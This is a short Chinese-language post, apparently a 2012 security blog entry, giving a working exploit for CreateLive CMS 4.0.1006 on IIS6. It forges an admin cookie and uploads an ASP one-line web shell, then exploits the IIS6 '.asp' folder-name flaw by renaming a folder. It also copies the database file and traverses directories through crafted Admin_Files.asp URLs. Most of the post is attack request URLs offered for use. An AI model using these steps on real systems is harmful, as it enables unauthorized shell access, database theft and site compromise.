CreateLiveCMSV4.0 漏洞，无需后台Get shell

linh

　　Title:CreateLiveCMSV4.0 漏洞，无需后台Get shell --2012-03-06 17:28
　　标题：CreateLive CMS Version 4.0.1006 漏洞，无需后台 Get shell
　　必须环境:IIS6,上传目录可执行脚本
　　CreateLive CMS Version 4.0.1006 是个非常古老滴CMS了。
　　-----------------------------------------------------------------------------------------------------------------------------------------------
　　
　　在弄个非常Old的站的时候发现是CreateLive CMS Version 4.0.1006版本。
　　纠结地找洞时候发现了一点漏洞。
　　注册个用户，登录。
　　修改cookie:UserGroupID=1&Password=798fb0743e519ec0&UserName=admin&UserID=1
　　
　　保存cookie，打开
　　http://XXX.XXX.XXX.XXX/dlugis/user/upload.asp?action=F&id=3&type=0
　　id的值按需求改变.

　　上传一个copy的ASP一句话
　　


查看文件目录
　　http://xxx.xxx.xxx.xxx/dlugis/Admin/Admin_Files.asp?action=Main&FileType=select&ChannelID=2&ThisDir=../Photo/2012-3

　　
　　
　　
　　
　　更改文件夹名
　　http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Rname&FileType=select&ChannelID=3&FolderId=2012-3&NewName=ok.asp
　　

　　查看下成功没有

　　
　　菜刀连接
　　http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Rname&FileType=select&ChannelID=3&FileId=../../Data/%23Cl_Count.mdb&NewName=ok
　　把别的目录的数据库文件复制到当前目录，文件名为ok.mdb
　　http://XXX.XXX.XXX.XXX/dlugis/Admin/Admin_Files.asp?action=Main&FileType=select&ChannelID=2&ThisDir=../../../
　　浏览目录